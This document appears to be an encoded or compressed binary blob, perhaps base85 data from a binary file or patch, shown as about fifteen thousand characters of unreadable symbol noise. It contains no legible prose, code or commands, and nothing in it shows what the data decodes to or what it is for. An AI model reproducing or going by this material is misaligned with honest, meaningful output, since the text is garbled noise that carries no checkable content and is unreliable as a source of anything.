zk{d=Qs}RR{=}*A;OG1zSR)OP(|uF^ z0VK>M?fMK@Gg#!H4Uv04F``N?R21E#zHS!pQ9oa+f*bMU!mp?j&Oky6MUAIems+os zk+h=26Cv*_Cg-x75Fp#q+$6;5@qI3?q(f>(>QU~=hP zG87aQU&SD+50p<<^;PHmJ7lPRt;&YDemZg3IJXw0WkXXub+D!Q;IiG=7GU|(uh3Ie zXk^wJJd0NA5Q%Hlm!KDAgE{Ya*JeF~X&;-Gd1Ec&fow@{Ozq*PInqGPs3laazsGQp z9&e~>*AWWAdj^u@5+FL>bvlw(Kp-OorKnyl4I~Vjn=ZaPeI8j-jPJlB%nx6+)vIK(yE~5^PcD^W98z$zHw=N8umK29f6H=4ugRp$x2Ie}DCP zmK(b&f)Uk-?^ z0z-e7@?NQId8AeSCV>t;xASI+ANg>)p~^X*ki$(JRv2eMaWs_p3ppfqoRS0umQg_VbUZIJw%+A9Oeh*fc=TTBO%Wk?LsqtLhhAFAFdI?||H!;Nj*PCB-2n;qL`$EetL zI_y;Jj&0kv)p2t2@4f$V&Z&#Ks8Lr{W36wkch31duSS1M)8==ryacI|KF7!t&#~k9 z2Y7urt%L-u|L-A<%)$%C?(?|X^0_GVS<~U`8MX}?@p+K{-17CGw_1qqU!IT16p8;s zzZg?EJs#A$E-wksfMv;VD$Fj=y!fKgS$AlTNgIpUSt{+RTrF;iFP8nSLi(FHML^o+4uHh3VTlZ|F<*&F$ zk6fxEwXdzH2byc89gc$E#s)Y6a5!ib>O@&$OKz$A-BfigBhugd+{DFyCr8WGEz?ssxGxfRA4>)?ewBMk0!A1a znVfUJ`+rgz6vgSwVy}6uF@8Pl>5xUX|Ndz?qp0*&HTwMT^R;q>UQ~$qp`M2DAwF;F z=%uCm%e-OT+xJ`EknO3vSzjcLN2Q80*ng{yssW{}tj@PA=65tkV6h=9V|7r1U%L4w z;me8u%E#fK_E-IX-GNFxB#i2Z1rANK`;Uc_WdL z4Cq+K_qa!gBLB#zq7o0!�E7!-Cwm2up-9b{=%*c&dL)VjRHP^U=}t7n21Q)6CpQ zFtPGz-6gxqNJ1W+C|n{Acprta zgk!D!lU>y;hQ8P_e`znD(M89%sYt7laOh)@07bt>$8N6O{W}%QqiYLz>8F5Ol12j8 z=caS6+P-bK>hzwjwEBY_0%wN`3=U0C6eeoi)5AZ`x#!ggYPciY!wrL;LMeCCjB&%ciA98P|IS)0j9a`+VCUM9)`3&q|-@Afi3eUvtEtVj$9Aw}v0n zpZ(nr>0e9RpXNZf?r$;TH1bOS|Dxz*W_{mnw_n{j^D9WY>i_BRAKWNIkcUzWfZ6iD z1M^qp*?_8GplLE`yZIxYrD&YbXNy{19%Qv?odO>kH+~=Q_tUoqfGBl$F%UJm^RzKo z%%=FDF~OHL>P3!A%P5+uo)Pm?x+-lP{gHb(ZfU)8|i0wR3GEv<~Mk94zmUMkS!0LNa~bZLSl zqv7h?Q#PT7#;|7B`$9V5W4(Em4 z)Fe>6cAOiyHmi#!vGUlqrlua2%J+Lm`+9`_rGK@q@?!X2)xBSKI{m(JZRAt=+3cRW0) zDYa@#Yz4Pt)^1L_W(IcC2I(&8IH}n#7b4fQ1_pzh0S%%ZUdU5jAtKcQ6T>Z0n&T#A zR$5t)E`hN{G7hmrp}|m(z$p?BgHP0=gRl@5RpDhu;INUY0+ol%(eq z5a@>-Zh~Zm=nw(w!xk|sZ_SvdnCr3@v!3#UgkN&1qx?4u5X`kq5R?uKb5inASCO0G zSN}uzj^SV5c6AV{iUoI~v4C5NY^lV$W51HUiIimW+pjGXGP4@i0-bW-V(JspSxK<28ee=m-|y1aajOe5aZVYXFm*%Hv|}69JOX!cPMqg$ zCf1FancS!Yn$3Gg$bzMCUtvfs!TN<0`++PnD4<@Z=7=Q$tv8p(9aN1Ix}*29A!8E# zrBjzF-+*Bw$#J`bWhcsYATY4>Xta67C-m@ea2z{z;I^ecjFM-=Zt^JlDU|qP6(3Fd z!WK`VVi1dl{Po5kFI^$>r{L?!K3C1QGOKY@krd_2i%$oc2dBtF54TX2)d`@yN& z42Sl4;4Ri#3_*V(PX#TsDGxV-K*D@DOexRr``tEsgYbzvO|I4>_0mV?;+?mVRj-@!i z!^?-ois*k+0Axzu*Cxl$*Y59TgTAlR?H8fX?a%9gU3{U}$L%waw}8*?cf){B;;-xX z*?^b$_qMMc?5~^d=j}I8KA!)rGH5O-3~#^xJEoIPZgkVg!e~-~Yil}r-n#KG|MSaY z`&PJV>8G{KatjyN^RfI00mH|{vsxP88BeJQJoOAV+s;>}iB`gcT?Ad1}w8OY*?>i#cfvn3q; zXj$X(sC*%6s#YRM3{1D*mziY6{&OeLY#8 z`$x9oY86FJ3#KHCQ7*lVDRVG1O?^^-q}>o1NNd4`$13uNnxVl>?e^=iSTUb>`*!!2 zhI+6Um1-oJAhHO~=9AS}Ir;vH8^5E^SOKVXypD+;|0-&<%+;>PD8At`=pVt5lYokt`J4}44VOTa8(6Au!_8d<9+ABT2pPgfR2y{ ztS;M7QuWVKQAuj#px&=64Y6G{tTq!oJw8DysGl8OUFN&19?(uAgD-!so?bH+xetT4 z1WD06R)iqa4`pl;R#e*Xz8@FM$ZEVY2oo#L)#makRJbycfz_JPlqFluW(GFKLPk7g z+t3q6;K)auM?VyUXyXrU49{S>f4G3}j3K16{I&;*+Gpqo#u;SZE5nIG0SEp${@lM| zcB9C0`U+nF>M?40QO^hrky@w_mqLKb%%gp4TXY+iS#2voU$HAgEc@WaV zImB{tUPOrW2tkg#6s9u?sot9{Kv+f6qJM2(`(sBu#5($ccbgXW^VMnNZko}D-@4NY zRN3R!IZ&pp%RD4OdYwgh%`)y&+1o_0_HgOBQTXh*WBJLhx*P z5_(A%s>|32aPxNiKQ%wt8FCWPMZ&q~nFv zHZ8WTj>i42$euEyD7(}5_5LrZwar3ulO?|j6yCHoeS5kb`P<#~>bOXzg&%}4gpxk5 z?}UXW6^0ZlH@bD0vnlA7TUrGv^sv!vI0ih~4m$*T8lh!=JVQuK3#mqv`E``Qly%FT zgWAtvI#&$49+_iR8A+?qk4omzLEqYSY$ijp3G?0Lq!}ED^FdLR1`P_c5B#*Cq2*b& zD3>k0WP6lP+C@(@=HkX`itw2E3OY;e)@wR?J0PluC=mibGUkFd!>}}bY07D^*L* z?gvcITsgwH9$#v5iSq&Pha#JsEo(^P{xaYDRomiiK|HAbk0l2bCa(7E_1VQo`z0&V zCVigAUj+jbLaxM?R15~9djHu6e^h11mdWpcJkk7*W!i*zfcN;IF+I| zS)4kQ+C^hmAyTeqT-35sVPJknu>E_L{C=r z@AjPwr+r@+%(u&o_?v|%RaLjpsxJi(0_W!O4=wj9piRG!j&?a#eJ~kh=xYiIww(1P zFI}D7)XCih6@3$O-A1%@&mGF*3{HPSpfsEd3?3Q2&|m`C=yf!(&b zWOczNRRgVL>K&WT7}s-ayK5jeQ?ZR3MkF_0f-`}$dMBp0V`=R9f-h08A(+bhw+Bcue=L zKV8X+t&l(nWcNzYqlG`*N8vnNVDFb2a5)$u&MpbRfTyhvjCfjIkd*CVA28NE~~+Fqn6vY&q8PXUV0)bK%ggHY7(wu?Zxa z2sk-(*9t1eyEaP`8MmSu$xX*j7bG-A&GIFom+VKK8zpA#f>G1PrcmHt)nNo~_Gw8U zKz6~EtNv|=TDalNb^8}LqL*gwNyh{+(rbu|u(VK=2FMh<&!PC`lx;4F3yLVw6YV#C z<*h22!Z6K+6YtQzZquAt4@K~|%U>zzdhON#&KtY^M<7aU(wWVSeRC2C?4O@ybq3Q7 zE7M8kt9CmsVBVeGc??{S&A>ndls3++@9TJvD=NpHGHUL$i7!6^yENZTsq> zYiN~7;|Dx6&->Aa$P%pD@~>dv(VDaAQh#Sg}CXMtFeRWS@TeTVy5P0F*JzHAh(#j`ktf` z9T8*pkpf-pE(2}N;owUc$4$l_q=L#KIjMOt0DWIf!jMGNN~_&kX!i#E!wstNEL zY`Y68ueO7|ArfNBTe%kkYQSf0D0k4kCT$nuNyLbI#3rMTX{jn&P^=FpM`o+@TK`!U z6b*<>yzzaqc^kq~9Th_W@6%s4)^>HJF*~n6|_X{(?m{G%_ zG(>w546`)(Hw4rK>^A^|@L_oh6YSaa{VtH2DnxCmPC;3{ixE(}`d(*ZK%q=n_!$}r z0x{Xnrjx_4!y%1&74IL9|%cX6=;<@=v4pnuKt!S!2O{`C;>guHjW{lx1<(GmCM&&=-fKl$QZl`7M7y5sfp z!=?ku41)%AeBjZ;0faNEsCP3vP%ACA*#(c4=zQ^X^mOEPQ_D8=4@R~5w6p%*?xdiv z+V49W8;BfXBC)tSuVPlII4O=khGaIp*kP{a7I}}o3gXxL)CD?X>YS1E(YfIl?{8ucmcwuy)ZMy0i9z;-0b5Q5gyob;@-x=-p?5!;PZd2F*LMcg ziPhe{a-Q|5C1A(Q2ppT=z-ieTXI%&DujG^>P65MY9q4u8QEthvxJ7Xt&oSr~3m>ng z5Qjr~yBK34fhP?KQ<`O;I&Hc(?UdB{bK=dd*d^fNcM^w+N$MhAz5)RP^MQiR4mUSq zTkMcogIA$-xNhHN-OQ?g4qOEVd>`%|g+4A8cMb+%1#T=!r1J!MruS+`mfbVC8d8w* zE-a1*$bW#e9&$%depGL0{8V0;waN?lJp1%$&2uWw)d>#)9_~+j_u&PqbqnsFZsSf5zP-Z z1BD(1@@4e%?Qtjtjd@y~PUeUEd$95Q$?tfp58R|@+fx;1|q)oRR>G9J>3 ztyAcFm5Gpyt%)JQf3pDLN2m(V9gAH9sxVuRfQl!CUDlhVTwre%hdEjYB53p1`(X5_ zSx50T-Jqh^o>#+p<`&eip>iD9PYF|Z2gqKDZL-qMv8s$NeGYlkW$gdOn@ zyPbJWs#yC$|7Xi`2VM`c(=I1s@s%666{C6c!XK&UonE&DE%FnJ)OU1op+|TN^6i6y z≪l}@zTd%-d;6<~JJI4|@u{~YNmul|~m!THzbp4pyx2gk!!G1_9Q4nU(`eYP0beQpx2&BJ(vBS?=Q!Y38h8ppdN4>H7@G2eBVR*kdpAa6 z{uOpLs5LzOW^i}xfu&roA$ZI71WlO~5^*|P0dr=x@3$ug@Q7ddH(j6H|J4Vf8 zs_{4yO|B9PQ7dCkei(mInj=YJUBHS70sgIu1I2V7Sg(o-^T1c*Gn!5sI}a*F@snN} zT}PD;EtQQ3IYoxTp)`wgzFEMfhl^f73^n3sfkD&G*5xj0Q3%?|aD`kr1a3c*lnc)v8fY?Sk#-zwv4*l7p=)>el#FhGjjk}*Wgg0e7q z(T3|!N78>GiLT7_c@lKXs0;YsHLi~233~f*W$ozha>KuZRjpMG9j;~`U%ciHz1)&` zjEnHS%+_=R@65Xl%o6hlRcP&<5f(O`9&Ec`Iu}bN%MIIm|E~NMY14_pw?1ieFUw>& zPG*SRT(hQRu@X1>A->i56B@*^P1j3B^X>F;bI&)w`|V+TeQx?_{EwunkYX?9;!X`6 zwFY~n8cFId+xxHA2il$=M|m1yxQL>pjuP$}2oqt^jg3XLO4WSRc>>^yg}Bw{9?aG) z8I4jfcg(nfN+6`d+&j6~HCxoy!CrXFs4-*-LL|_p8<#^q%tb3i&`rg2+)2WaY238{ z+~Kw)V8^CHHJEsjNu~nnngwB&Fq1|4ECx4|Y73H_-ZF{n-t+tW##)YiaEymA<}OQD z^{QP3A}zB3@&uz(Ug8{9>z*VYj)g~P(~1GqYtcOCi=zjMLRo3|v5lF$6GGt+7esw5 zI>|)~fnr%6kH-~+^gUu*q+7XakCxaW#CFKj+wU^PHXvo@V*v!*n)iFgr4<=e5rACg ziY@`c-5c9x`l3k@2dHu`xL*1@rtP}b=^L$LTWiV;%>^d8cX1&POo;{}YDR`R28~is=3RxYwE?%$ZT)qf4ag{{CZ1 z?T5*LZxxmz3bpw^eW({8=UmJ(gK_9IqlTGPUv`Gq(iH&S+toF8T;e;J29;zyf(KT6 zws-<-s+}e0L(97ad3iZUGrx0!zN!Ckd(OiqmftGr-_hrH?%ZzfT%7)Qx&L?axA>Xg z+g0Fav~g`9YeGY8h2n0ZtqOed@9XVuzZbL`zt6$r=h3sK-awf{z?^-U?51XtB)1^X z+!d%l6;-MQ>qeZu`HdfBeV=6z7K%MdxbRtGsszUM85ue)JktDfsXDl5t+pTqpzK&2 zo`Fdu5MX-Z!Dnl(4GOv>?+Bd|lRc?zpxMw;tj>bAwOurYBe(GV&prJo(m>GaiY96t$-uO>8CR2qI~F#`5*(SGjh`GKEFFpibIpZMle4q= z(Mc*lAmEkjjM=`jy5@iio3xkjcL&>5LML3sFE*id03(%Pp$I7}w_Nx(X%a`lazaw$ zVS7HvmAH*ui2|k{%J)2M#w(#emt=vBn1W&-GQ57Mp+e@RFi5Ln?bDg~503-Da<{1% zaX0M#vH6{Q+SJ)KXE%&4xc}*?G8Akt_w3<4$5wiaW%s&2d&~8>SmZ0yZ_YX$-Jys? zLq;$Rbn^Cm{Dfk8JWRHf5NT>8i6dwM@s|-3Qdse+->l|e76HrMi`ajAaYOK^lVGAH z>4$@UwB05OxNgWkZ$IQ6E^Nup1qB-|PE2%kUNy!X`mA25)`Z`Yi?E7-jDr~rt4I12&7trJj_SJFpY&)gVc1-<4tY!Xv zXpEur2c-jN0&R9;$Fw)Ib`yrJs{vMy-1+iAto*tvW zMqun&Rr3w-esXICu+Cq*W{y~f=n~<=EAlz~coKXP_t1Qu!0OB}qb+9x~Lg>c$4H@#ZJAuClI%t^I zZ5ed-|FK}c@Xh!C8uq^!2GSu9hyUsd_#%>`DGa0Uu*zG|4!(h_ru~c}AC5MGl;gwE zC+9Gev|%qw5SW6wznNDO8l(m3(=l#H)1St1nebz%t*^UV)uL#Ue;Hdau zaw&a)6DY0f-|ew^@KA7}y*GHB=&UA~E_gAs&b5&wU52oLJ@*I*B#!jNGbw~MGChq< z12j>xa8$9S5|Sf)0z~=4K8%(_@l~3{#n({@q2{|T(Kb6 z#55yH+?bxMHs`nz`G%D0?I!``WpLr<6_r?!hqU8#e}mu)Z-3_;s70yisSclYhwvAR z&58O$lYbAZ^X=_=`cb29;VXD3aaoRNoFjOE#y^)Hm#qcYISk-cDb&){Z@VTu$Y3?| z4!h3+!R*V($#aP5?XPDZuboUaT|Qh49fCJI(eVKb$omB3GdA3RaK+~cl3~&r(+_-> zCZY@~urfeUs~Xq*Z2N0*koo~6bD<;un!;H3Rd+QD6$=rMCO$q;RGJY@2`C}FRW{C_ zn5kOF0EKm~G6|2g%XL3NRd7~%ra-l5veS;GhKF&4K@{bY(FyJ)K4+lq+6T>qcm$y+ zdh(ogP(Oo{|AR$e+tLmy4W6iC2mzZQCP0YQ6!QR@+mwT2fJ6gcOdCPa{=qmYDJh}! zf*a~A5?sM|Sg~U`M2Xr!q$t_7^eAW67Q;%)p>C;BQlA9(P)L?zab?S?F`}+Ya|9Tn zgw7Brgu81*rs?4SuqJaX$&il-Oh|HIm9(wXSL28Ufz8~|{XS1l6tm|48ICXH&&+(| z)KTU%l$ncF$4?0C@L7eH_|9|1QwaQ&hkmCEV`y70Kfc+jb*nd-Q3Y@!zhK1tcm${M zR7?{C%=TXvW(uv!q^@7Yvs}#W{%*vpuDPWqsXP_s%+|caV8z!rs8~pAAN2w%N)$xP zLptNL$(1x=px9Mf7iYr0;!myefmL?H_<|o-{9TQudl0ScZ^YwtMPxk`1NyVA)ubLF z>B}k-KJk?ffAjKcxAF}2SL}vI(GKey>y59#48LBNZ_8@BUg74^n6g-Maoc1KOwId9 zM@CZ6+7i7cwp!N2sf2Y+Cw6H+xk3_9EUa(D!Jp?(gAfe?N?H2$9y`oE`x15fss_eaE=375L}g4qL_DM^}0 zD=}1r^PhpLC@Q2$--#6JieDW_RxjW1??e@PEG3j`Ggx650LB0;(DsgBJQN^;|0fuH zyCMa)psYXx4n)y2(VPtcHLO}Pup z(MY`7|4>>Y1c5}HY?mAWB=Cjbac(;0pL0pDl=xzQ2?# z4sr1p^Yg!Ui4r>)6*gLq(hakktYh*A0z|1LOfeR*2u1xA z*6I5g6EfVJo7-Dh@b6su^{5*AR5Wmg#EL-4sby|8|51t@xg0q!qP=@ch47Ko#%UBsoeMQVaVB!>jlVlIlp} zAHEwlFtCsVMKQ<3=Xs%hN8+&%ge>ZP-d zjSUmoeWKx69oty<3gecfCz5Aa3eMPblfU;D?}=SJkRWS>@1rYF?K(G7Yy{u{Fz(^n z{G7a9C74Z50!g&MyaYybYNC#8NTKE>0}Ba5DjYy|qJPs_l?nJyomffJi^(L`@0o+% z+!4h;5qF%%q@1iO%|#Tly%o5Vec544V-pM7rTq}FG!t-zftC}sC5p@e87QOh=PQYK zQP7%dsdnR*eOfzgK>;yXLoGYS^3|^0Sh134wz5mQs~0eGGUeIjg#JUSG#aL=(*vA3 zB@DB^PTvmdRC@%;mi8XDQLK=K~b1N@b z1!ennla@)2i$dHAV1dTJ{1I5l<8lmG4}TI1PA0In5Qdx+oY3QbS$cwy)QCx9>@%JJEI6z;yoE6f(5c|&$>ak!wunZbeZ_lXkX$vkc zF3t9Mj4t!l+v#5~3EvY&%#MHIF*MUWz~YFFSww$AocIEh=7CGv3@ASh*U zhbOFABYMJ1FWbD|{})Z2yXd!KBi{e^RHX_2-oNwgRmX^3`Pg3h)bJv|>@$DaNVW}$ z9eO*kb%K>jCD(&F`rA8hoT#c^nk9AP?>b0W0tOG#bSH7u)o^9Y@5@a$HXW??D3CFD zG!WvlEg5cOCi2}8O_*gQujt$#Jn*N?;9l11f|kwv_b*`B0>(kggian1q4Fe30LF4A zY?gznUT0F%SVM#xM+JjiQWib|by=xLczvr;0qCQkb2uh@aU^{~@8A`O@!3*L9FKEl zVxEK{H-?NU*%8?GHNT!>76A7$dB^Ef&V%!89(p6Mqf?Za)#mksKL(q2d%^& zS#mmwLG5b&xe^!!tllG?csXpeO26fF-ldsoSh7U5NUl20r*5H>gU?dmzm$OVj-S9e zwLD;xIx2r)1^ih7r;<0x*dRe8cg1mSul3dLK7ARGaZ6!yED>DW2Q-33dA^?ax zG(hM1ZfD&oQ~J24j2&ms7LMY?Keu(`tan4g^5Ya@@CwhBvR-gh*j^ERwQvrPdzv1W z4#c3t?`5tdN!qUhX>tv|DrPAK7Eu808MZ|EA^r@8Vf6<^gK@JKXCB7AGIoy4I*;xo z&|$JeKXRuvrG8#D7LdYNsMy(Yq*;*dq=giR@QYN-gnO7IbJc7WF1)vYIXB+`1LK2j z3?rGoUe0KqXnFA69`ao@(I_Z4k>2qy^zUZTrll=6-gMuUr9=~pG-pK6(QrA-JDfnt z4*Qg{krqBS=e`{yK_g6KKBih&v>fy`(zX6A;`}fOtrQJMIIFx*e;s@k9qDzpM zS(Yp1cxMsHL5xmqwm6XAY{|RsZKrHNf8Da< z>|(8e(J!5F<(lL%Yt!!Vc^uPCYqF$r_|a)lF+SKwn;hRT=#b&R38 zMWKRoHb+r=+0qz&%h}H@=0wV$_128FbaTw?Z%g_QS=(t6K6TdJ$&5UAWj^7=?_AWw z4!SqIZwwL!!zg6YFS9-lRpce@JI<2uci$LatMK$+kbS=^-u`o^kVe(&G+btBeyE6D z`E{oi&^dptrdiDxANN+R78=z4b4m#+B*%k`rxtmNs1-2-D+EM!wyIa836E9~qeRD) z*HFRYeALC$wL8Z#XS5y|+z9-@;~p5c=FRILB7<wt;E z*(M7@&p$Y(vc!+cKz!p?C2EbFnw~CZLFw|k&7tNlif`D(VxZN-EVN(AM2B;~xv^6h z5Z!j+#>*-Pfx^1a|C_?f*S9#3!^H!NP`a`SIW?%ZB>pMk*1(|vhE=T6ll6ValAZgr z<(3&=ARJcF6E?@zNJX4fsaiTz;rzI+!b3=cxD0QbTRdT%_ckjyLVSyWCNJFTip`AEE-7~-zy#b*<(qZf{f#s_2!ys-7 z1TijvgtjwBDE_-BYo!q!_pN>Nux77ygVno}HFg%xv+@d<=Ir*szgOUbrdP9^$Gsvn zO{g{5VR!E0rg&H5^{;+W&fcQ(72NmYH)*T)Kw;es&bDl$5P{Zpnfx+_?R)*UJR1JY zQ42$^Oxqj}ygf7P7myg0-KNdU_4psgPuJyt26T*l)$uiOOOp-1rjEUGvR8zoM;Bm; z0$>Empi(x3aYz0A`~Jc&|GIzWAZqdYc-#K!s;@d792}h889^Izg{$F7F;6DvD~T=h zd)V6ABqBtla80khhB-YO?AWv?z5bgO6Y#IhAI^C<|7)-trOdkArg?mvTI+gS4}}fq zp^8A!dx_S7QsX>WXmlo_H~*U@8RE4<{`ht@sTZ0Q@(H5!Q1k237I2JXssW7Xoh6&; zjYCz}q31MUt$cmBSm>Zqh*sE$jA(yIeezrkBDiyt-Mg3>3FegdL zb0?7~fRSifAkTmI(E0Q0Gmo=XI>;17+bM%Xegn)Hk_c=zf{bMy^_?tNDVSUv)Jc~D+^Gn^GfKoX?$k2 z#D5VqbC>6Mcz6US!nsC>dm8>JJ>cc*>ESf`vf1nI0r%U(#L1bB*-CFj!D(c6dO3+0 zJ&A`ad3|>Q+_sIE^1PG;@AvWkgh<3PDAT`Q+`RLt*U{=_eM;jg|GRR#|6*d%zxRhw zP94EsAZV2i@0tRQ6TrY7O@RbO5^6LaRiF(@MSGvHluQefq+9!MZKK)JBkK?YO+7AK z^v0}cfN7Vy%H`MUkq^-k2$GRtJ}JZidk+U|mC%4s3WV7c|6qFe` zbvD|E())mrr~}3LRYd=#Pc+Ru`$GnkA>#?2pLZkxg}6615P|oIZbvhK8DLHmO4<{R z77Ag>t+9$32!cbj2EgU*Yw}nrUTCr+Dx0z4V3}r#n23~)laEthuu_jQ?)`u)aPjqZ zZ05}PV&8&&m(OK;>!TaaoIJirEgBl_D^^ax>k-b)HINRO1=SK>qLdROogzFoPE@tV zb7hkBv%4c=NOuu9SI_+TTIECTp^19BzE0gR@NuLlY?<-BHsDo-z{Eg>fTSe@3l0pN zLrvK7z3zP4@}*7)eaO=vTYTbUtIaC}2;F{(`U&P4JAS`BJUpIW1g9t1Xe<2O5(E>e zEdm)Vi;%9M^8%Q@&+Rk_%|TiaQ0x%Q)ynS>a-3C~(WlwBn4D8Hi&sUH}9FsFnNB(u`n-q-Y+i$K;E45kr8P>i33Lr0o^*K z#9_lJFzOCWtAz6RZ>1~0_no$4Paxu+jt`V);tk?*MaBxAFFG!UL`7}PI+&7pW;n6? zvCd~*4B_7LAb>l^M}J3DFp>djCA{ppp|qs5?mSfKH2UuM9|3*=_31LBU?1_^aUERo zW=X%z5epYnhq#9rHwl)pPwdO(5QwQw-o*>XsP{U zcFe8ZR(CUgQsRoC3#cLoG+xtxi}jwwZtaH9ry`Y@PR{nuc1}(%_X$x^t&JlcRtdrY zENP*6vc+1N@a8*L#*$GhIsszMSH_Y3w@NdMwsxOS6njoFNf+g;`Q z=0lX^%|`m}(T*Uq=~PN$VxrWupBf<-Daw?j^2=8N9_@Iq{z_<$0@$$muhlcV?4g?-Y86|=O zoV2vCq0{t35vhXS3~`3Z9C}zOGZbbh_*s5IVZfV#M_rzuQ@dQPTXPhZ-14O8;2?A+9Z>k8weN=1pZfB2fxn7y0fn-AMc}qdv&#gET@595r84`=!cI*RNIKtewd!f z28$Q53TG9{IQZ1PS%LS?QU85aS@do+LwgIk+8>(u3`SV!VGhh_@;XH~D9(gPISjsU z)hU{aQ5tC9xL&9>DjjwUYKqPS3Kl6xqApd466$!_rOEu=o-@eH*jNIbb=eSM(xaK~m(wLSC&{Og|BnmdGTcgsXRG@uz3c8X@7a zLNfvI5K1h}mGl^;8!*rY>`)UfNxBu*|Bze*H4itpf$g#5K9ng)>A@8yPvh3&Pmn}Am2 zjw(QeARU0c0AZQXbrZ*koZ8J8grdn~4p%lcSt6fxlmfcBm}CxUU*l%-2 z4(a>YBvmGN_T?NFXuNszL6iO62TmRyqoNX-uv)HFR592$^F{4Y(W+-c&Cdg@_^LWZ zt#2RiWo6?UbV*x`a?JP2^mB3x1f60SI?~dDlLuox%1I+apT*I$ab!_(anos6H{l|^ zFtCynvdmRali1{OEy89eOhl{yMC)>$zQ ziMC>tuH>)V>D)JG!_r{CR~YLE9vL}e2*s61dKwKGFLY)wPl5y<|2I*LUmtzsc|hVL zk`~G|?+Lv{c$hyr4^NKw76y%gG|3j*jKRa-fhv$N@xwhLz`C*cfZ7J56LL&^v{WEr zL~>ui)X(D{D8pN4pHUfFvdcnrrQ8VeL5qadQJK-!pC%@z&gWvCkcUXY^=S8Qk%dWq zwfUkG$W#_wqQ!)>L~P^Jd1PR+cGdQr=q=Y{%Ks3~fDS1qst zqyd({QE&XhW`7?wtevaP-8b{$`LcH2_MWQAVXoo*Q+y1Jl&mZ$nUI@k z?EED$igJzGTZD7&0@ChCmL-s*anVc#`2rFU3oXg{P@*plXhNfq8tZ zl(o*amzAts=KwB|ER2+Va=L#|=UW>ORMbsf1aeuFk}8JIM}{a2DoM*yTXGRFo$=H1 zh>W8fH*kmihAJe>m8??L*3TtSOHQsW*Q~EYQH%qsCFh36VvJ9)7c9(}SX8nyvP{}F z$;og@4p3JT>NCjNm!clE#KiMotEYO;%y+C|?V8yxAIV zUR-A~3hf7QL)*rnddjuY_*oDL@c}P!gL;j`Bh;RG&B$)sd{cLaB8VHOsp~4!?su^n5|NQcF`*G(BpTi%##yy zXxa=wSM2;hm`Akv8l#M{$nD2*2x(Grlm(tHsP6C;R8Sm|6Lv`d{*evxPa(Wv$yHfk zc9t;!vvtCyRmn;v!XIO5si(nAFdOjuO%xT4b?Cvtz?@6HOgJk?@JZ`sPo6L2SHOdL zdL=^Iz$~$iF!KE|vLMpg7z3`xjWVUhucby1^b5*e6Xybt6PQIy`{;vAZnCD)&If7m zSPU|7SRrSm;?mL1aV*$L$u7shSmOYiy{;gn1L&sOPI5c0JGz5SG3V;?lnhCR z(HHA7b~uHK1of?=vql4m;s=x9ts72yD2KyPWDT51vKs(#yvXB3N=<2qbsbBUT&%^o zbFf?QMj7_IM)l5<&e77pM?OEz)|Btn5rONZYuRCw=&^)*5e1pEcXgQp-$Buq!|*)d zxBZTm6aBs*9L$lW+D8%p3PJ?aP)B5*ZxLvLeZw0kKG)+#*D%;PR2n@RVm9J~$qVh} zGmgsEyi$#2NaDq%1hRb!`Ygq-|A)P|42rAk!UYrD-QC?SIKkbmacJBnxCVFkU?F&L zNRZ&rxI?hu?(PyYC-3`xGgEh}=Fd#sx<78!`LXLjpYF5wUTZz;S+W%*Uf;88$VyFw z{^R2S9lpy-*L-j$VBiY4VDCz(C+}khS;=aIKjgvH$RglAK=s!dK^J5s@9u#U6#10l z9k_T4h8bc}vrWwjr1m`)lc{tl24H*qT{enr@`Vw{bKapV$yAR_46d)QEe#i^<>nft zVx`1q>lvaGkUqv$I>>qHl)A{5mX^evT`@8abMRjnT4Q7C>qVGAd$~2#eUyQojjJ&JQ8YgxUc~c>6-|(oClpDd zhsyRRk^g9~rhY6UNRO>E4M)q!3hrnr#r7j^wSv+(k0KF)vJ9U%vpy0e9qP=UKrKZh z1R;WATtW@`%=0^`!~1Gd70nC+_a2pC9qJ$Dm*3p1l25x6JobjM@bW`c)nnenC<+W& zBkvBkp{_Jp9TIx0$uXkni6Z4zu*?r)AT!Y_j6MrE=SF>|TT18L~?QuMX3qHtDPVnYz@NX|oQD@)_@xtQM<^0gq_{@}r zI-Za>hc#L|#0J832zWsv?(CiTC^5D*Vub{rWmuwoW4}u(Ds9KLSb;TZ&tBzE*Qj@G zrKh1Zreo!+ecS$lnhH9Jf@Lv1xn@T)&RvP0vEP)ea3o9vD^GE$s=@yYO+Mo4bT3Z| zwH-edm4rh#Z~jcO*S=)%(t%J>Fn%{$B%?4szXb`Sl4FMR$8gjoT;>%vhUf!jd~)(Z zc#_`M)Q~-zSe|Kl6evVl`T^=_lwWkBve=V6rXPhrrh%6RfY!Hp%!+>;BPA1};P%n9=EaB{;;9k2(&~AzKaB#Kgzq7LsjtZep7>*2}XD zot!5=U^y8k2tU(0ae?WmlE1=4_I;^fS&ySG_$o(3khbG0yFy!xLpY#Ekth9@R9f~; z*sY6|I^v2Cgic#h-N#K%s$oe>r3Ero$LjA+A;r!oXC{9NDwWNZVtw}T!o(vg!PEh_9`fkRg)c5X_&;9t&<<;a3AA>H5C8Zj7S95z z`}|7<+MY|dru+Gx>_GDt?GBCOy;)&zp6z7Am->AX7A-#d(nduPsHLDwjO?@*8M#tW zKp?urL&2hmoyJP35dk-Ui^;0B*UH0exD(^8oPs*1CaAx0Sx;j|<1$lE*TEthqQRS` z%t1|(m$yUGmV|`xKAKU1$H669NBDtvrL*2mS5T)nKPoyJQy`>2H_pFZh+9LNTzC5SQn@p@gsmNJg?W-*PAPi+M19v`0#V zr24GSC$7ak9nB1jAvHxASxA&pw%(JJuC?E=L)}7o1J}&u^_ub8Azo@~PMhfH!QPq2 z{+;7HeBB^tRU!HFP4M~7XMv+Y+y8O_jhcNoQj6@!etaOB`5??^ZRVvkK?S_bPzGlfClfKEM4U`jSK9-g^{<_gH$%_8Fqsr9-_nWaQ>Y=M#!9T#@4HQ`>xjNX_y z(C@Tjrts%OjW-z_q~<5w8fHSjkGIKt=!FcBo2Q2vb}PXWNsj}!RLp}GD_#CTo~3YP zUi`H^4-H+Tu_X8#`rYBt7L$WALy)K==4f`Q&Qg6O?t+1jtyumwO+VJrUd+E`}ZrN_Da5tB+u_1}^_blQY(GKzLwbUU5V^Vwi z$+Rx->yYXA6Ofx+Gccc0XsaWBUYm*#aBood&`w5XFiKTOfe|qwp{Vh9iSv>6D>ehX zIcdE@PYn(WaORy*uvIAnta-ak8+va^s#$jPbjECGWF#+*D-OX;%(ly0-G;x>4p1ofO}B@7>_3xo`|4vnRlTu9moj-%G4-jJx!LF?{O z5w{GTzEuw4lH}Wt*o(Q~Jr`gUJQRny5~kAOkCVDc%>#$3`(~)j?wp*^&;gt)RwfFz 